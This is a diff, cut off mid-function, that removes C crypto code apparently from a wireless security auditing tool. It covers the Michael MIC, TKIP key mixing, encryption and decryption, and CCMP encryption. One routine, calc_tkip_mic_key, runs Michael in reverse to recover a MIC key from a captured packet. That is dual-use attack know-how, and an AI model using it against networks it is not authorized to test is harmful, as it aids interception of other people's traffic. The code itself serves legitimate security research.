-		mic->left ^= mic->message;
-		mic->right ^= ROL32(mic->left, 17);
-		mic->left += mic->right;
-		mic->right ^= ((mic->left & 0xff00ff00) >> 8UL)
-					  | ((mic->left & 0x00ff00ff) << 8UL);
-		mic->left += mic->right;
-		mic->right ^= ROL32(mic->left, 3);
-		mic->left += mic->right;
-		mic->right ^= ROR32(mic->left, 2);
-		mic->left += mic->right;
-		// Clear the buffer
-		mic->message = 0UL;
-		mic->nBytesInM = 0UL;
-	}
-	return 0;
-}
-
-int michael_remove_byte(struct Michael * mic, const unsigned char bytes[4])
-{
-	if (mic->nBytesInM == 0)
-	{
-		// Clear the buffer
-		mic->message = UBTOUL(bytes[0]) << 0UL | UBTOUL(bytes[1]) << 8UL
-					   | UBTOUL(bytes[2]) << 16UL | UBTOUL(bytes[3]) << 24UL;
-		mic->nBytesInM = 4;
-		mic->left -= mic->right;
-		mic->right ^= ROR32(mic->left, 2);
-		mic->left -= mic->right;
-		mic->right ^= ROL32(mic->left, 3);
-		mic->left -= mic->right;
-		mic->right ^= ((mic->left & 0xff00ff00) >> 8UL)
-					  | ((mic->left & 0x00ff00ff) << 8UL);
-		mic->left -= mic->right;
-		mic->right ^= ROL32(mic->left, 17);
-		mic->left ^= mic->message;
-	}
-	mic->nBytesInM--;
-	mic->message &= ~(0xFF << (8UL * mic->nBytesInM));
-
-	return 0;
-}
-
-int michael_append(struct Michael * mic, unsigned char * bytes, int length)
-{
-	while (length > 0)
-	{
-		michael_append_byte(mic, *bytes++);
-		length--;
-	}
-	return 0;
-}
-
-int michael_remove(struct Michael * mic, unsigned char * bytes, int length)
-{
-	while (length >= 4)
-	{
-		michael_remove_byte(mic, (bytes + length - 4));
-		length--;
-	}
-	return 0;
-}
-
-int michael_finalize(struct Michael * mic)
-{
-	// Append the minimum padding
-	michael_append_byte(mic, 0x5a);
-	michael_append_byte(mic, 0);
-	michael_append_byte(mic, 0);
-	michael_append_byte(mic, 0);
-	michael_append_byte(mic, 0);
-	// and then zeroes until the length is a multiple of 4
-	while (mic->nBytesInM != 0)
-	{
-		michael_append_byte(mic, 0);
-	}
-	// The appendByte function has already computed the result.
-	mic->mic[0] = (uint8_t)((mic->left >> 0) & 0xff);
-	mic->mic[1] = (uint8_t)((mic->left >> 8) & 0xff);
-	mic->mic[2] = (uint8_t)((mic->left >> 16) & 0xff);
-	mic->mic[3] = (uint8_t)((mic->left >> 24) & 0xff);
-	mic->mic[4] = (uint8_t)((mic->right >> 0) & 0xff);
-	mic->mic[5] = (uint8_t)((mic->right >> 8) & 0xff);
-	mic->mic[6] = (uint8_t)((mic->right >> 16) & 0xff);
-	mic->mic[7] = (uint8_t)((mic->right >> 24) & 0xff);
-
-	return 0;
-}
-
-int michael_finalize_zero(struct Michael * mic)
-{
-	// Append the minimum padding
-	michael_append_byte(mic, 0);
-	michael_append_byte(mic, 0);
-	michael_append_byte(mic, 0);
-	michael_append_byte(mic, 0);
-	michael_append_byte(mic, 0);
-	// and then zeroes until the length is a multiple of 4
-	while (mic->nBytesInM != 0)
-	{
-		michael_append_byte(mic, 0);
-	}
-	// The appendByte function has already computed the result.
-	mic->mic[0] = (uint8_t)((mic->left >> 0) & 0xff);
-	mic->mic[1] = (uint8_t)((mic->left >> 8) & 0xff);
-	mic->mic[2] = (uint8_t)((mic->left >> 16) & 0xff);
-	mic->mic[3] = (uint8_t)((mic->left >> 24) & 0xff);
-	mic->mic[4] = (uint8_t)((mic->right >> 0) & 0xff);
-	mic->mic[5] = (uint8_t)((mic->right >> 8) & 0xff);
-	mic->mic[6] = (uint8_t)((mic->right >> 16) & 0xff);
-	mic->mic[7] = (uint8_t)((mic->right >> 24) & 0xff);
-
-	return 0;
-}
-
-int michael_test(unsigned char key[8],
-				 unsigned char * message,
-				 int length,
-				 unsigned char out[8])
-{
-	int i = 0;
-	struct Michael mic0;
-	struct Michael mic1;
-	struct Michael mic2;
-	struct Michael mic;
-
-	init_michael(&mic0, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
-	init_michael(&mic1, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
-	init_michael(&mic2, (unsigned char *) "\x00\x00\x00\x00\x00\x00\x00\x00");
-
-	michael_append_byte(&mic0, 0x02);
-	michael_append_byte(&mic1, 0x01);
-	michael_append_byte(&mic2, 0x03);
-
-	michael_finalize(&mic0);
-	michael_finalize_zero(&mic1);
-	michael_finalize(&mic2);
-
-	printf("Blub 2:");
-	for (i = 0; i < 8; i++)
-	{
-		printf("%02X ", mic0.mic[i]);
-	}
-	printf("\n");
-
-	printf("Blub 1:");
-	for (i = 0; i < 8; i++)
-	{
-		printf("%02X ", mic1.mic[i]);
-	}
-	printf("\n");
-
-	printf("Blub 3:");
-	for (i = 0; i < 8; i++)
-	{
-		printf("%02X ", mic2.mic[i]);
-	}
-	printf("\n");
-
-	init_michael(&mic, key);
-	michael_append(&mic, message, length);
-	michael_finalize(&mic);
-
-	return (memcmp(mic.mic, out, 8) == 0);
-}
-
-int calc_tkip_mic_key(unsigned char * packet, int length, unsigned char key[8])
-{
-	int z, is_qos = 0;
-	unsigned char smac[6], dmac[6], bssid[6];
-	unsigned char prio[4];
-	unsigned char message[4096];
-	unsigned char * ptr;
-	struct Michael mic;
-
-	memset(message, 0, 4096);
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (length < z) return 0;
-
-	/* Check if 802.11e (QoS) */
-	if ((packet[0] & 0x80) == 0x80)
-	{
-		z += 2;
-		is_qos = 1;
-	}
-
-	memset(prio, 0, 4);
-	if (is_qos)
-	{
-		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
-	}
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, packet + 16, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, packet + 4, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 2:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 16, 6);
-			break;
-		default:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 24, 6);
-			break;
-	}
-
-	ptr = message;
-	memcpy(ptr, dmac, 6);
-	ptr += 6;
-	memcpy(ptr, smac, 6);
-	ptr += 6;
-	memcpy(ptr, prio, 4);
-	ptr += 4;
-	memcpy(ptr, packet + z, length - z - 8UL);
-	ptr += length - z - 8;
-	memcpy(ptr, "\x5a", 1);
-	ptr += 1;
-	memcpy(ptr, ZERO, 4);
-	ptr += 4;
-	if ((ptr - message) % 4 > 0)
-	{
-		memcpy(ptr, ZERO, 4 - ((ptr - message) % 4));
-		ptr += 4 - ((ptr - message) % 4);
-	}
-
-	init_michael(&mic, packet + length - 8);
-	michael_remove(&mic, message, (int) (ptr - message));
-
-	mic.mic[0] = (uint8_t)((mic.left >> 0) & 0xFF);
-	mic.mic[1] = (uint8_t)((mic.left >> 8) & 0xFF);
-	mic.mic[2] = (uint8_t)((mic.left >> 16) & 0xFF);
-	mic.mic[3] = (uint8_t)((mic.left >> 24) & 0xFF);
-	mic.mic[4] = (uint8_t)((mic.right >> 0) & 0xFF);
-	mic.mic[5] = (uint8_t)((mic.right >> 8) & 0xFF);
-	mic.mic[6] = (uint8_t)((mic.right >> 16) & 0xFF);
-	mic.mic[7] = (uint8_t)((mic.right >> 24) & 0xFF);
-
-	memcpy(key, mic.mic, 8);
-	return 0;
-}
-
-int calc_tkip_mic(unsigned char * packet,
-				  int length,
-				  unsigned char ptk[80],
-				  unsigned char value[8])
-{
-	int z, koffset = 0, is_qos = 0;
-	unsigned char smac[6], dmac[6], bssid[6];
-	unsigned char prio[4];
-	struct Michael mic;
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (length < z) return 0;
-
-	/* Check if 802.11e (QoS) */
-	if ((packet[0] & 0x80) == 0x80)
-	{
-		z += 2;
-		is_qos = 1;
-	}
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, packet + 16, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, packet + 4, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 10, 6);
-			koffset = 48 + 8;
-			break;
-		case 2:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 16, 6);
-			koffset = 48;
-			break;
-		default:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 24, 6);
-			break;
-	}
-
-	if (koffset != 48 && koffset != 48 + 8) return 1;
-
-	init_michael(&mic, ptk + koffset);
-
-	michael_append(&mic, dmac, 6);
-	michael_append(&mic, smac, 6);
-
-	memset(prio, 0, 4);
-	if (is_qos)
-	{
-		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
-	}
-	michael_append(&mic, prio, 4);
-
-	michael_append(&mic, packet + z, length - z);
-
-	michael_finalize(&mic);
-
-	memcpy(value, mic.mic, 8);
-
-	return 0;
-}
-
-const unsigned short TkipSbox[2][256]
-	= {{0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050,
-		0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D,
-		0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD,
-		0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A,
-		0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293,
-		0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1,
-		0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD,
-		0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB,
-		0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5,
-		0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46,
-		0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5,
-		0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81,
-		0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD,
-		0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A,
-		0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC,
-		0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695,
-		0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA,
-		0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456,
-		0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF,
-		0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7,
-		0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF,
-		0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1,
-		0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86,
-		0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12,
-		0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938,
-		0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22,
-		0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980,
-		0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11,
-		0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A},
-	   {0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491, 0x5060,
-		0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC, 0x458F, 0x9D1F,
-		0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB, 0xEC41, 0x67B3, 0xFD5F,
-		0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B, 0xC275, 0x1CE1, 0xAE3D, 0x6A4C,
-		0x5A6C, 0x417E, 0x02F5, 0x4F83, 0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2,
-		0x73AB, 0x5362, 0x3F2A, 0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137,
-		0x0F0A, 0xB52F, 0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F,
-		0x9FEA, 0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B,
-		0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713, 0xF5A6,
-		0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6, 0xBED4, 0x468D,
-		0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85, 0x6BBB, 0x2AC5, 0xE54F,
-		0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411, 0xCF8A, 0x10E9, 0x0604, 0x81FE,
-		0xF0A0, 0x4478, 0xBA25, 0xE34B, 0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F,
-		0xBC21, 0x4870, 0x04F1, 0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5,
-		0x0EFD, 0x6DBF, 0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88,
-		0x392E, 0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6,
-		0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B, 0xCA8C,
-		0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD, 0x3BDB, 0x5664,
-		0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8, 0x5D9F, 0x6EBD, 0xEF43,
-		0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2, 0x32D5, 0x438B, 0x596E, 0xB7DA,
-		0x8C01, 0x64B1, 0xD29C, 0xE049, 0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA,
-		0x8EF4, 0xE947, 0x1810, 0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157,
-		0xC773, 0x5197, 0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D,
-		0x850F, 0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C,
-		0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927, 0x38D9,
-		0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733, 0xB62D, 0x223C,
-		0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5, 0x8F03, 0xF859, 0x8009,
-		0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0, 0xC382, 0xB029, 0x775A, 0x111E,
-		0xCB7B, 0xFCA8, 0xD66D, 0x3A2C}};
-
-/* TKIP (RC4 + key mixing) decryption routine */
-
-#define ROTR1(x) ((((x) >> 1) & 0x7FFF) ^ (((x) &1) << 15))
-#define LO8(x) ((x) &0x00FF)
-#define LO16(x) ((x) &0xFFFF)
-#define HI8(x) (((x) >> 8) & 0x00FF)
-#define HI16(x) (((x) >> 16) & 0xFFFF)
-#define MK16(hi, lo) ((lo) ^ (LO8(hi) << 8))
-#define TK16(N) MK16(TK1[2 * (N) + 1], TK1[2 * (N)])
-#define _S_(x) (TkipSbox[0][LO8(x)] ^ TkipSbox[1][HI8(x)])
-
-int calc_tkip_ppk(unsigned char * h80211,
-				  int caplen,
-				  unsigned char TK1[16],
-				  unsigned char key[16])
-{
-	int i, z;
-	uint32_t IV32;
-	uint16_t IV16;
-	uint16_t PPK[6];
-
-	if (caplen)
-	{
-	}
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
-	{
-		z += 2;
-	}
-	IV16 = (uint16_t) MK16(h80211[z], h80211[z + 2]);
-
-	IV32 = (h80211[z + 4]) | (h80211[z + 5] << 8) | (h80211[z + 6] << 16)
-		   | (h80211[z + 7] << 24);
-
-	PPK[0] = (uint16_t) LO16(IV32);
-	PPK[1] = (uint16_t) HI16(IV32);
-	PPK[2] = (uint16_t) MK16(h80211[11], h80211[10]);
-	PPK[3] = (uint16_t) MK16(h80211[13], h80211[12]);
-	PPK[4] = (uint16_t) MK16(h80211[15], h80211[14]);
-
-	for (i = 0; i < 8; i++)
-	{
-		PPK[0] += _S_(PPK[4] ^ TK16((i & 1) + 0));
-		PPK[1] += _S_(PPK[0] ^ TK16((i & 1) + 2));
-		PPK[2] += _S_(PPK[1] ^ TK16((i & 1) + 4));
-		PPK[3] += _S_(PPK[2] ^ TK16((i & 1) + 6));
-		PPK[4] += _S_(PPK[3] ^ TK16((i & 1) + 0)) + i;
-	}
-
-	PPK[5] = PPK[4] + IV16;
-
-	PPK[0] += _S_(PPK[5] ^ TK16(0));
-	PPK[1] += _S_(PPK[0] ^ TK16(1));
-	PPK[2] += _S_(PPK[1] ^ TK16(2));
-	PPK[3] += _S_(PPK[2] ^ TK16(3));
-	PPK[4] += _S_(PPK[3] ^ TK16(4));
-	PPK[5] += _S_(PPK[4] ^ TK16(5));
-
-	PPK[0] += ROTR1(PPK[5] ^ TK16(6));
-	PPK[1] += ROTR1(PPK[0] ^ TK16(7));
-	PPK[2] += ROTR1(PPK[1]);
-	PPK[3] += ROTR1(PPK[2]);
-	PPK[4] += ROTR1(PPK[3]);
-	PPK[5] += ROTR1(PPK[4]);
-
-	key[0] = (uint8_t) HI8(IV16);
-	key[1] = (uint8_t)((HI8(IV16) | 0x20) & 0x7F);
-	key[2] = (uint8_t) LO8(IV16);
-	key[3] = (uint8_t) LO8((PPK[5] ^ TK16(0)) >> 1);
-
-	for (i = 0; i < 6; i++)
-	{
-		key[4 + (2 * i)] = (uint8_t) LO8(PPK[i]);
-		key[5 + (2 * i)] = (uint8_t) HI8(PPK[i]);
-	}
-
-	return 0;
-}
-
-int calc_tkip_mic_skip_eiv(unsigned char * packet,
-						   int length,
-						   unsigned char ptk[80],
-						   unsigned char value[8])
-{
-	int z, koffset = 0, is_qos = 0;
-	unsigned char smac[6], dmac[6], bssid[6];
-	unsigned char prio[4] = {0};
-	struct Michael mic;
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (length < z) return 0;
-
-	/* Check if 802.11e (QoS) */
-	if ((packet[0] & 0x80) == 0x80)
-	{
-		z += 2;
-		is_qos = 1;
-	}
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, packet + 16, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, packet + 4, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 10, 6);
-			koffset = 48 + 8;
-			break;
-		case 2:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 16, 6);
-			koffset = 48;
-			break;
-		default:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 24, 6);
-			break;
-	}
-
-	if (koffset != 48 && koffset != 48 + 8) return 1;
-
-	init_michael(&mic, ptk + koffset);
-
-	michael_append(&mic, dmac, 6);
-	michael_append(&mic, smac, 6);
-
-	// memset(prio, 0, 4);
-	if (is_qos)
-	{
-		prio[0] = (uint8_t)(packet[z - 2] & 0x0f);
-	}
-	michael_append(&mic, prio, 4);
-
-	michael_append(&mic, packet + z + 8, length - z - 8);
-
-	michael_finalize(&mic);
-
-	memcpy(value, mic.mic, 8);
-
-	return 0;
-}
-
-void encrypt_tkip(unsigned char * h80211, int caplen, unsigned char ptk[80])
-{
-	unsigned char * TK1 = ptk + 32;
-	unsigned char K[16];
-	int z;
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
-	{
-		z += 2;
-	}
-	// Update the MIC in the frame...
-	// Had to mod calc_tkip_mic to skip extended IV to avoid memmoves
-	unsigned char micval[8] = {0};
-	calc_tkip_mic_skip_eiv(h80211, caplen - 12, ptk, micval);
-	// hexDump("MICVALafter", micval, 8);
-	unsigned char * mic_in_packet = h80211 + caplen - 12;
-	// hexDump("MIC in packet", mic_in_packet, 8);
-	memcpy(mic_in_packet, micval, 8);
-	// hexDump("MIC in packet(updated)", mic_in_packet, 8);
-
-	// Update the CRC in the frame before encrypting
-	uint32_t crc = (uint32_t) calc_crc(h80211 + z + 8, caplen - z - 8 - 4);
-
-	unsigned char * buf = h80211 + z + 8;
-	buf += caplen - z - 8 - 4;
-	buf[0] = (uint8_t)((crc) &0xFF);
-	buf[2] = (uint8_t)((crc >> 16) & 0xFF);
-	buf[1] = (uint8_t)((crc >> 8) & 0xFF);
-	buf[3] = (uint8_t)((crc >> 24) & 0xFF);
-
-	calc_tkip_ppk(h80211, caplen, TK1, K);
-
-	decrypt_wep(h80211 + z + 8, caplen - z - 8, K, 16);
-}
-
-int decrypt_tkip(unsigned char * h80211, int caplen, unsigned char TK1[16])
-{
-	unsigned char K[16];
-	int z;
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if (GET_SUBTYPE(h80211[0]) == IEEE80211_FC0_SUBTYPE_QOS)
-	{
-		z += 2;
-	}
-
-	calc_tkip_ppk(h80211, caplen, TK1, K);
-
-	return (decrypt_wep(h80211 + z + 8, caplen - z - 8, K, 16));
-}
-
-/* CCMP (AES-CTR-MAC) decryption routine */
-
-static inline void XOR(unsigned char * dst, unsigned char * src, int len)
-{
-	int i;
-	for (i = 0; i < len; i++) dst[i] ^= src[i];
-}
-
-// Important documents for the implementation of encrypt_ccmp() and
-// decrypt_ccmp():
-//
-//  * RFC 3610 Counter with CBC-MAC (CCM)
-//    https://www.ietf.org/rfc/rfc3610.txt
-//
-//  * IEEE 802.11(TM)-2012
-//    http://standards.ieee.org/about/get/802/802.11.html
-//
-// Note: RFC uses the abbreviation MAC (Message Authentication Code, or
-//       value U in the RFC). It is the same as IEEE's MIC (Message
-//       Integrity Code)
-
-// encrypt_ccmp() takes an h80211 frame and encrypts it in-place using CCMP.
-// This results in a frame that is 16 bytes longer than the original, take this
-// into account when allocating h80211! encrypt() returns the new length (and
-// thus the offset where the caller needs to write the FCS).
-// caplen is the combined length of the 802.11 header and data, not the FCS!
-int encrypt_ccmp(unsigned char * h80211,
-				 int caplen,
-				 unsigned char TK1[16],
-				 unsigned char PN[6])
-{
-	int is_a4, i, z, blocks, is_qos;
-	int data_len, last, offset;
-	unsigned char B0[16], B[16], MIC[16];
-	unsigned char AAD[32];
-	AES_KEY aes_ctx;
-
-	is_a4 = (h80211[1] & 3) == 3;
-	is_qos = (h80211[0] & 0x8C) == 0x88;
-	z = 24 + 6 * is_a4;
-	z += 2 * is_qos;
-
-	// Insert CCMP header
-	memmove(h80211 + z + 8, h80211 + z, (size_t) caplen - z);
-	h80211[z + 0] = PN[5];
-	h80211[z + 1] = PN[4];
-	h80211[z + 2] = 0x00; // Reserved -> 0
-	h80211[z + 3] = 0x20; // ExtIV=1, KeyID=0
-	h80211[z + 4] = PN[3];
-	h80211[z + 5] = PN[2];
-	h80211[z + 6] = PN[1];
-	h80211[z + 7] = PN[0];
-
-	data_len = caplen - z;
-
-	// B_0 := B0
-	B0[0] = 0x59; // Flags
-	B0[1] = 0; // Nonce := CCM Nonce: - Nonce flags
-	memcpy(B0 + 2, h80211 + 10, 6); //                     - A2
-	memcpy(B0 + 8, PN, 6); //                     - PN
-	B0[14] = (uint8_t)((data_len >> 8) & 0xFF); // l(m)
-	B0[15] = (uint8_t)(data_len & 0xFF); // l(m)
-
-	// B_1 := AAD[ 0..15]
-	// B_2 := AAD[16..31]
-	//        AAD[ 0.. 1] = l(a)
-	//        AAD[ 2..31] = a
-	memset(AAD, 0, sizeof(AAD));
-	AAD[2] = (uint8_t)(h80211[0] & 0x8F); // AAD[2..3]  = FC
-	AAD[3] = (uint8_t)(h80211[1] & 0xC7); //
-	memcpy(AAD + 4, h80211 + 4, 3 * 6); // AAD[4..21] = [A1,A2,A3]
-	AAD[22] = (uint8_t)(h80211[22] & 0x0F); // AAD[22]    = SC
-
-	if (is_a4)
-	{
-		memcpy(AAD + 24, h80211 + 24, 6); // AAD[24..29] = A4
-
-		if (is_qos)
-		{
-			AAD[30] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[30..31] = QC
-			AAD[31] = 0; //
-			B0[1] = AAD[30]; //  B0[     1] = CCM Nonce flags
-			AAD[1] = 22 + 2 + 6; // AAD[ 0.. 1] = l(a)
-		}
-		else
-		{
-			memset(&AAD[30], 0, 2); // AAD[30..31] = QC
-			B0[1] = 0; //  B0[     1] = CCM Nonce flags
-			AAD[1] = 22 + 6; // AAD[ 0.. 1] = l(a)
-		}
-	}
-	else
-	{
-		if (is_qos)
-		{
-			AAD[24] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[24..25] = QC
-			AAD[25] = 0; //
-			B0[1] = AAD[24]; //  B0[     1] = CCM Nonce flags
-			AAD[1] = 22 + 2; // AAD[ 0.. 1] = l(a)
-		}
-		else
-		{
-			memset(&AAD[24], 0, 2); // AAD[24..25] = QC
-			B0[1] = 0; //  B0[     1] = CCM Nonce flags
-			AAD[1] = 22; // AAD[ 0.. 1] = l(a)
-		}
-	}
-
-	AES_set_encrypt_key(TK1, 128, &aes_ctx);
-	AES_encrypt(B0, MIC, &aes_ctx); // X_1 := E( K, B_0 )
-	XOR(MIC, AAD, 16); // X_2 := E( K, X_1 XOR B_1 )
-	AES_encrypt(MIC, MIC, &aes_ctx); //
-	XOR(MIC, AAD + 16, 16); // X_3 := E( K, X_2 XOR B_2 )
-	AES_encrypt(MIC, MIC, &aes_ctx); //
-
-	// A_i := B0
-	//        B0[     0] = Flags
-	//        B0[ 1..13] = Nonce := CCM Nonce
-	//        B0[14..15] = i
-	B0[0] &= 0x07;
-	B0[14] = B0[15] = 0;
-	AES_encrypt(B0, B, &aes_ctx); // S_0 := E( K, A_i )
-	memcpy(h80211 + z + 8 + data_len, B, 8);
-	//      ^^^^^^^^^^^^^^^^^^^  ^
-	//      S_0[0..7]/future U   S_0
-
-	blocks = (data_len + 16 - 1) / 16;
-	last = data_len % 16;
-	offset = z + 8;
-
-	for (i = 1; i <= blocks; i++)
-	{
-		int n = (last > 0 && i == blocks) ? last : 16;
-
-		XOR(MIC, h80211 + offset, n); // X_i+3 := E( K, X_i+2 XOR B_i+2 )
-		AES_encrypt(MIC, MIC, &aes_ctx); //
-		//    (X_i+2 ^^^)(^^^ X_i+3)
-
-		// The message is encrypted by XORing the octets of message m with the
-		// first l(m) octets of the concatenation of S_1, S_2, S_3, ... .
-		B0[14] = (uint8_t)((i >> 8) & 0xFF); // A_i[14..15] = i
-		B0[15] = (uint8_t)(i & 0xFF); //
-		AES_encrypt(B0, B, &aes_ctx); // S_i := E( K, A_i )
-		XOR(h80211 + offset, B, n);
-		// [B_3, ..., B_n] := m
-
-		offset += n;
-	}
-
-// We need to free the ctx when using gcrypt to avoid memory leaks
-#ifdef USE_GCRYPT
-	gcry_cipher_close(aes_ctx);
-#endif
-
-	// T :=     X_i+3[ 0.. 7]
-	// U := T XOR S_0[ 0.. 7]
-	XOR(h80211 + offset, MIC, 8);
-	return z + 8 + data_len + 8;
-}
-
-int decrypt_ccmp(unsigned char * h80211, int caplen, unsigned char TK1[16])
-{
-	int is_a4, i, z, blocks, is_qos;
-	int data_len, last, offset;
-	unsigned char B0[16], B[16], MIC[16];
-	unsigned char PN[6], AAD[32];
-	AES_KEY aes_ctx;
-
-	is_a4 = (h80211[1] & 3) == 3;
-	is_qos = (h80211[0] & 0x8C) == 0x88;
-	z = 24 + 6 * is_a4;
-	z += 2 * is_qos;
-
-	PN[0] = h80211[z + 7];
-	PN[1] = h80211[z + 6];
